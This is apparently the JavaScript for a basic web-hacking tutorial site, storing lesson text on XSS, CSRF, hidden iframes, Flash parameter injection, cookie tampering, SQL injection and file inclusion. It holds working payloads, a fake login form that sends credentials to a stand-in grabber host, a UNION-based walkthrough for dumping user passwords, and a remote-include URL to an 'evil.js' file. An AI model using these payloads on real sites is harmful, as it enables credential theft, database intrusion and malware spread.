var mainCon = "<p>We have finished transfering most of the tutorials over from the old ghost site, and have ported them into our new web interface. Throughout these tutorials you will notice that they are very basic, this is so you can get a grasp of the basics. Over time we will start adding advanced techniques such as the use of egg hunters. We will also be expanding over the coming weeks to include tutorials for gathering information and the use of different tools such as rpcclient and nmap. Until then, to enjoy our basic tutorials click one of the links above to view the content</p>";

var xss = "<h2>Cross Site Scripting</h2><p>Cross site scripting has been haunting the web for many years. Through the use of xss an attacker can inject code into a web page that can do many different things. A couple of examples are release malicious code, credential stealing, forgery, defacement, and many other things. The use of xss has no limits. Through the use of cookie poisoning, sql injection and any other web based languages combined with xss the web has made this type of attack very easy to perform. Here are some examples:</p><br />	<h3>Basic:</h3><p>&lt;script&gt;alert('xss');&lt;/script&gt;<br />&lt;script&gt;document.write(document.vulnerable='true');&lt;/script&gt;<br />	&lt;img src=javascript:alert('xss');&gt;</p><br /><br /><h3>Filter Evasion and Encodeing:</h3><p>Many times obfuscation of the injection attack will need to be performed. I recommend grabbing Firefox add-on hack bar it comes with many built in tools, including an encoding tab.<br />Here are the three examples from above that i have encoded with hackbar\'s urlencode feature:<br />%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2fscript%3E%0A<br />%3Cscript%3Edocument.write%28document.vulnerable%3D%22true%22%29%3B%3C%2fscript%3E<br />%3Cimg%20src%3Djavascript%3Aalert%28%27xss%27%29%3B%3E</p><br /><br /><h3>Xss through Css:</h3><p>Internet Explorer makes it possible to perform Cross Site Scripting through css with the use of expression wrapping like so:<br />expres&lt;i&gt;&lt;/i&gt;sion(alert(1));<br /><br />These are just simple examples of xss and filter evasion, for further reading on evasion techniques the web is your friend.<br /></p>";

var review = "<h2>Examining Source Code</h2><table align='center' style='padding-left: 40px;'><tr><td><p>I would like to start this section by saying that sometimes the smallest thing can lead to the biggest problem.<br />We should always start our test by first examining the source code of the target web page. This can be accomplished by right clicking on the page and clicking on view source. Throughout the source code, be sure to examine the javascript, and any other files that are linked to the current page for possible directories that a password file could be stored. I suggest if you do not know html, javascript, php, and xml that you learn it before you try any of the tutorials on this site. Lets look at a simple example:<br />You are looking through source code and you come across a section that looks similar to this: &lt;script src='../admin/myScript.js'&gt<br />At this point you know there is a directory called admin in the directory above the one you are in. Lets see if we can view that directory<br />In the address bar you would go to the last forward slash and type in ../admin/ this should give you a directory listing of the admin directory. This is just a simple example and will be the only one i will cover in this tutorial. </p>";

var csrf = "<h2>Cross Site Request Forgery</h2><p>CSRF is a way that an attacker can cause the victim to exploit an xss vulnerability on a different website through a link or possibly an email without the victim knowing. Posting a link or a picture in a blog that the victim opens which then executes a command to inject code into another web site is a basic form of CSRF. Here is an example:<br />&lt;img src='http://vulnWebSite.com/index.php?command to execute'&gt;<br /><br />This can be very a very good way to spread malware without detection by embedding the code into a XSS vulnerable site. Once a user logs in the command will be executed, and the server logs will reflect that the last user that was logged in is the one that is spreading the malware. More information can be found on the OWASP web site.</p>";

var iframe = "<h2>Iframe Injection</h2><p>Realistically Iframe Injection is a form of Xss, well xss and rfi. The uses of this type of attack can vary, a while ago it was one of the main types of attacks on facebook. An attacker would add a friend, add a few comments to the page, and then inject a hidden iframe that could be used for a few things. Credential stealing, malware injection, defacement, adding friends from that persons friends list, etc. To elaborate there are a few ways to make an iframe invisible to the browser, here are some other examples.<br />&lt;iframe src='http://www.malicious-site.com' height='0' width='0'&gt;&lt;/iframe&gt<br />&lt;iframe src='http://www.malicious-site.com' style='visibility: hidden'&gt;&lt;/iframe&gt<br />Basic dos example to kick user off of the site, of course this is simulated and the cookie probably would not be set as user=someusername<br />&lt;iframe src='&lt;script&gt;void(document.cookie=user='DdOSD')&lt;/script&gt;'height='0' width='0'&gt;&lt;/iframe&gt<br /><br />The use of iframes is limited to the users imagination, and there are many tutorials online that will help aid this documentation.";

var flash = "<h2>Flash Parameter Injection</h2><p>Flash is found all over the web. There are many different ways to inject code into flash parameters, and many different ways to use each of them. I will not go into all of the different injection types but here are a few.<br /><b>Injection through Html with Xss -</b>mymovie.swf?vulnerableVariable=javascript: alert('Xss Test')<br /><b>Injection through swf loading as parameter through DOM -</b> http://vulnerableFlash.com#&glVar=javascript: alert('xss')<br /><br />For other references about FPI please do further research there are many good examples on the OWASP website <a href='http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project'>Here</a>, along with what the vulnerable code looks like. <br /><br />The best way to find holes in a flash application is to decompile it. This can be achieved by visiting the application online, then grabbing it from your temporary internet files(yes it is already been downloaded). Once you have the file you can use a decompiler to view the actionscript to find calls that are made outside of the application. Best advice is to learn some action script if you do not already know it, flash is everywhere and not going away anytime soon.<br /><br />Flash Login's are a huge no-no! If you find one, chances are the password is embedded in it or a file very close by.</p>";

var code = "<h2>Code Injection and Session Hijacking</h2><p>Code injection can be performed many different ways one of my favorite is through mis-configured server that allow URL file access. Code can be injected this way through the use of RFI which i cover in a different document. One of the most basic ways that code injection can be used is through cookie tampering. Cookie tampering is very easy to perform and even easier to perform authentication forgery. Along with cookie tampering and cookie stealing comes session hijacking. Session hijacking is again pretty easy to perform, someone clicks a link the attacker posts and their credentials are stolen. In essence clickjacking is performed the same way, someone clicks a link in their or in a flash application and they are redirected to a page that can steal their credentials, inject their computer with malware, a backdoor, or possibly even command injection.<br /><br />Let's take a deeper look at code injection shall we. To start injecting code into a cookie is performed with the void tag at the beginning of the script like so:<br />javascript: void(document.cookie='user=admin');<br />This is done through the address bar. If we want to expand a bit, let's take it to the next level. If a vulnerable php application is found we can inject code directly into the tag in the same manner. For example:<br />javascript: void(document.forms[0].vuln = document.write('&lt;script&gtalert(document.vulnerable='true')&lt;/script&gt'));<br />An example of code that could be used in the blog posting on the site for cookie stealing is:<br />admin wrote: Please must login to view this posting<br />&ltinput type='text' name='uname' /&gt;<br />&ltinput type='password' name='pass' /&gt;<br />&ltinput type='submit' value='Login' onclick='var phish=new<Image();phish.src='http://your-javascript-grabber.com&x='+this.form.username.value+'&y='this.form.password.value;' /&gt;<br /></p>";

var sql = "<h2>Sql Injection</h2><p>Sql injection is a way to get information from a database, login as an authenticated user, or even delete records in a database. Sql injection can be performed on Sql and MySql servers. Many times to find the vulnerable server an attacker will perform simple injections, then escalate to more complex ones. Lets start with an example url and sql injection.<br />Example:<br />http://injectable-site.com?page=1<br />We start by adding a simple single quote at the end like so:<br />http://injectable-site.com?page=1'<br />or<br />http://injectable-site.com?page=1 '1=1--<br />What we are looking for is an error code stating that we have an error in our sql. Now lets move on and find the number of columns in the table.<br />http://injectable-site.com?page=1 order by 1--<br />http://injectable-site.com?page=1 order by 2--<br />http://injectable-site.com?page=1 order by 3--<br />and so on, until the page says 'the page cannot be displayed', or 'unknown column'. This tells us that the number we entered before the page stated this would be our number of columns. Now lets try Unions to see if the command works. You would enter the text as follows:<br />http://injectable-site.com?page=1 union all select 1,2,3--<br />Bingo, the numbers printed to the screen unions work. Now lets check for column names:<br />http://injectable-site.com?page=1 union all select 1,2,3 from users--<br />If the number is still on the screen the column exists in the table, if not, keep guessing.<br />Now lets see if there is a username and password column<br />http://injectable-site.com?page=1 union all select 1,2,username,3 from users--<br />http://injectable-site.com?page=1 union all select 1,2,password,3 from users--<br />These are pretty basic examples, and the injections can get a lot more complex. There are many tutorials online that go into further detail about dropping tables, adding users, and many other things.<br />Sometimes injections are a simple 'or 1=1-- into a login form and we get admin or root, a lot of the time we have to work for it.</p>";

var rfi = "<h2>RFI & LFI</h2><p>Local File Includes is an easy way for an attacker to view files on a server that were not meant to be viewed or retrieved. again through a misconfigured server and bad coding an attacker can view local files in the current page. Here's an example of what a LFI attack might look like:<br />http://somesite.com?page=pass.txt<br />This is a very simple example of how this type of attack can be implemented. There are many different ways that someone could use this type of attack, another example is using Xss where pass.txt is to try and inject code on the page.<br /><br />Remote File Includes can be used for just about every variation of Xss, Code Injection, Session Hijacking, and many others. A RFI attack might look like this:<br />http://somesite.com?page=http://www.malicious.site.com/evil.js<br /><br />I have heard RFI called Code Injection, this can be a true statement if implemented correctly through the use of Xss. RFI is possible through a misconfigured server and bad coding. The server allows URL file access and the code leaves a query string empty for a page or file include this is true for both RFI and LFI.</p>";

var exp = "<h2>Exploit Development</h2><p>We are currently working on this section and it will be done in a couple of weeks.</p>";

var ref = "<h2>References</h2><p>This section is a collection of websites that are good for further reading on topics we discuss. Over time we will be adding links to other web sites as we find them.<br /><br /><br />1) <a href='http://www.owasp.org'>Owasp</a><br />2) <a href='http://www.xssed.com'>Xssed.com</a><br />3) <a href='http://ha.ckers.org/xss.html'>ha.ckers.org</a><br />4) <a href='http://www.irongeek.com'>Iron Geek dot com</a><br />5) <a href='http://www.exploit-db.com'>Exploit DB</a><br />6) <a href='http://www.ethicalhacker.net'>Ethical Hacker Network</a><br />7) <a href='http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training'>Metasploit Unleashed</a></p>";
$(document).ready(function(){
$("#tutCon").html(mainCon);
 $("#xss").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(xss);
});
   
   });
 $("#review").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
    $("#tutCon").html(review);
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(review);
  });
 });

$("#csrf").click(function(){   
  $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(csrf);
});
 });
 $("#iframe").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(iframe);
});
 });
 $("#flash").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(flash);
});
 });
 $("#code").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(code);
});
 });
 $("#sql").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(sql);
});
 });
 $("#rfi").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(rfi);
});
 });
 $("#exp").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(exp);
});
 });
 $("#ref").click(function(){   
   $("#tutCon").fadeOut(1000, function() {
   $("#tutCon").html("");
   });
   $("#tutCon").fadeIn(1000, function() {
    $("#tutCon").html(ref);
});
 });
 });
 


